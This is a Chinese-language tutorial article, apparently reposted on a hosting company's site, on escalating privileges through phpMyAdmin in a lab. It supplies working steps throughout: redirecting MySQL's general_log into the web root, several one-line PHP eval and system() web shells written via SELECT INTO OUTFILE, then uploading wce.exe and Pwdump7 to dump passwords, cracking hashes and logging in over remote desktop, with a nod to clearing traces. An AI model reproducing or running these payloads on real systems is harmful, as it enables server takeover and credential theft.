- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- phpMyadmin中怎么實(shí)現提權
本篇文章為大家展示了phpMyadmin中怎么實(shí)現提權,內容簡(jiǎn)明扼要并且容易理解,絕對能使你眼前一亮,通過(guò)這篇文章的詳細介紹希望你能有所收獲。
0x00 定義
phpMyAdmin 是一個(gè)以PHP為基礎,以Web-Base方式架構在網(wǎng)站主機上的的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。
目標: Windows Server 2003 Enterprise x64 Edition 192.168.17.137攻擊機: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
我們經(jīng)過(guò)弱口令,爆破,目錄泄露等途徑已經(jīng)獲知PhpMyadmin的賬號密碼是root root。接下來(lái)我們就通過(guò)phpMyadmin來(lái)提權,盡可能貼近真實(shí),多講思路。
如上圖所示,我們可以獲取到以下有用信息。
1.操作系統是windows server 2003 x86
2.是Apache 2.4.32
3.網(wǎng)站默認路徑是 E:\phpStudy\PHPTutorial\WWW
4.PHP版本是 5.45
5.mysql版本是 5.5.53
在上面我們已經(jīng)獲知了網(wǎng)站默認的路徑是E:\phpstudy\PHPTutorial\WWW,這個(gè)時(shí)候我們肯定想插入一句話(huà)后門(mén)文件或者是導出shell。那如果我們需要使用以上兩種思路中的一種必須滿(mǎn)足一個(gè)前提條件“secure_file_priv”對應的值不能為空且必須為默認網(wǎng)站的路徑,所以我們必須提前檢測一下“secure_file_priv”的值。
phpMyadmin執行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";
結果如圖所示:
從上圖得知值為空,如果我們這時(shí)導入一句話(huà),肯定會(huì )失敗的,不信啊,那我們試試。
報錯The MySQL server is running with the --secure-file-priv option so it cannot execute this statement,這是因為mysql對通過(guò)文件導入導出作了限制,默認不允許。默認value值為null,則為禁止,如果有文件夾目錄,則只允許改目錄下文件(測試子目錄也不行)。我們思考一下看看能否設置其的路徑為我們的默認網(wǎng)站路徑,這樣我們就可以導入一句話(huà)后門(mén)了。那我們試試吧。
從圖得知這個(gè)變量是一個(gè)只讀變量無(wú)法動(dòng)態(tài)更改,那應該是只能從配置文件中更改了。到這里發(fā)現陷入了一個(gè)胡同,那常規方式不行,我們可以去使用一些騷思路,利用log日志文件插入一句話(huà)。
我們首先需要檢測的是MySQL全局變量(general_log、general_log file)的值。
general log 指的是日志保存狀態(tài),一共有兩個(gè)值(ON/OFF)ON代表開(kāi)啟 OFF代表關(guān)閉。
general log file 指的是日志的保存路徑。
從圖得知general_log默認是關(guān)閉的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。
首先我們來(lái)理解一下開(kāi)啟general_log 的作用,開(kāi)啟它可以記錄用戶(hù)輸入的每條命令,會(huì )把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一個(gè)log文件中,其實(shí)就是我們常說(shuō)的日志文件。好,我們的利用的思路是開(kāi)啟general_log之后把general_log_file的值修改為我們網(wǎng)站默認路徑下一個(gè)自定義的php文件中,然后我們通過(guò)log日志進(jìn)行寫(xiě)入一句話(huà)后門(mén)到上面去,然后再進(jìn)一步利用。
具體命令是:
set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
緊接著(zhù)我們可以看到在網(wǎng)站根路徑下找到我們生成的偽日記文件infos.php。
然后我們就得插入我們的一句話(huà)后門(mén)了。
select '<?php eval($_POST[yumu]);?>';
我們可以嘗試使用菜刀連接,成功連接。
我們上傳wce.exe獲取明文密碼。運氣賊好,直接獲取到明文(11位字母和數字混合的密碼)。如果不能直接獲取明文那就得走第二條獲取hash值然后解密了。
上傳Pwdump7.exe獲取hash值保存到password.txt文件中。獲取hash值可以選擇在線(xiàn)http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出來(lái)就用Ophcrack導入彩虹表跑吧。
直接在菜刀終端輸入“netstat -an | find "3389" 或者“netstat -an ”。
發(fā)現3389沒(méi)開(kāi),但是3390就開(kāi)了,我們嘗試連接一下。
運行mstsc開(kāi)啟遠程桌面。
輸入上面獲取到的賬號和密碼,成功登陸。
最后肯定是要清楚痕跡的,但我這里就不寫(xiě)了,寫(xiě)的內容也是賊多了
上面演示了secure_file_priv值為空的情況,那么如果secure_file_priv不為空那我們該怎么辦?
打開(kāi)mysq的配置文件my.ini,對secure_file_priv的值進(jìn)行設置,然后重啟mysql。
secure_file_priv = "E:/phpStudy/PHPTutorial/MYSQL/"
嘗試改變值,發(fā)現只是可讀,不能寫(xiě),那種情況無(wú)法寫(xiě)入我們的一句話(huà),因為其限制了導出路徑,無(wú)法把一句話(huà)寫(xiě)入之后導出到我們的網(wǎng)站根目錄。
打開(kāi)mysq的配置文件my.ini,對secure_file_priv的值進(jìn)行設置,然后重啟mysql。
secure_file_priv = "E:/phpStudy/PHPTutorial/WWW/"
然后我們嘗試插入一句話(huà)后門(mén),成功插入。
二話(huà)不說(shuō)菜刀連接。
當然一句話(huà)還可以這樣插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/為網(wǎng)站的絕對路徑)
select '<?php echo \'<pre>\';system($_POST[\'yumu\']);echo \'</pre>\';?>' into outfile 'c:/phpStudy/PHPTutorial/WWW/test.php';
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站